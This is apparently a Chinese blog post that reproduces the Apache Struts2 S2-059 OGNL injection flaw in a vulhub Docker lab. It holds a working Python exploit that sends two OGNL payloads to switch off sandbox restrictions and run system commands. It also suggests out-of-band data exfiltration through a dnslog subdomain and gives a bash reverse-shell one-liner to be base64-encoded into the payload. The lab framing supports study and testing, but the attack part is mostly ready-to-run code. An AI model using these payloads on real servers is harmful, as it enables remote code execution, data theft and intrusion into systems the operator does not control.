1. 程式人生 > 實用技巧 >s2-059復現

s2-059復現

s2-059

Struts2介紹

是一個基於MVC設計模式的Web應用框架,它本質上相當於一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與檢視的資料互動。Struts 2是Struts的下一代產品,是在 struts 1和WebWork的技術基礎上進行了合併的全新的Struts 2框架。其全新的Struts 2的體系結構與Struts 1的體系結構差別巨大。Struts 2以WebWork為核心,採用攔截器的機制來處理使用者的請求,這樣的設計也使得業務邏輯控制器能夠與ServletAPI完全脫離開,所以Struts 2可以理解為WebWork的更新產品。雖然從Struts 1到Struts 2有著非常大的變化,但是相對於WebWork,Struts 2的變化很小。

st2-059介紹

2020年8月13日,Apache官方釋出了一則公告,該公告稱Apache Struts2使用某些標籤時,會對標籤屬性值進行二次表示式解析,當標籤屬性值使用了%{skillName}並且skillName的值使用者可以控制,就會造成OGNL表示式執行。

漏洞復現

vulunmb拉環境

vulhub/Struts2/s2-059
docker-compose up -d //啟動漏洞環境

圖1. docker啟動漏洞環境

圖2. s2-059漏洞環境

EXP地址:https://vulhub.org/#/environments/Struts2/s2-059/
官網給的exp是沒有回顯的

import requests
url = "http://127.0.0.1:8080"
data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

可以進行修改 修改為ping xxx.dnslog.cn 這個可以直接執行
坑點 由於是java的需要進行編碼 將其名帶外輸出

whoami.koeep8.dnslog.cn
線上編碼:http://www.jackson-t.ca/runtime-exec-payloads.html

圖3. base64編碼截圖


攻擊測試

反彈shell


bash -i >& /dev/tcp/Your ip/Your port 0>&1

base編碼隨後替換

圖3. 反彈shell成功

參考:https://mp.weixin.qq.com/s?__biz=MzIxNTIzNTExMQ==&mid=2247484469&idx=1&sn=81479257b5b40482a722099b5f894ead&chksm=979a2b7da0eda26b3d01793401cc644705c17215c7ac75e7434d8cd8bf2c593c5dbbc552754b&scene=126&sessionid=1607669790&key=2f88c2a11d638eea303897ba464451799c78fd60615a331d4c60a294cda9c65b0bdf9bb9fd1ac1855a0bbd1fc7c5306f70562497e5fe25a6dfa4fde0170b8215534f3d5ccf31dc62c2cbdad7443919a7b653af18b38a102aa3fd3009f978b3913afd3e132310e7c52a97af46569b3ddcebe8455569d01b35995c009bba73bccf&ascene=1&uin=MTEyOTU1MTg3NQ%3D%3D&devicetype=Windows+10+x64&version=6300002f&lang=zh_CN&exportkey=A0KOMgLeiMXM4dB54kpUDwY%3D&pass_ticket=vYbUvHj2RE3macNzO7mLxepLKxsd43bB1yMgIYivWyEBhcQg8o1topq%2FY2q%2BVIo3&wx_header=0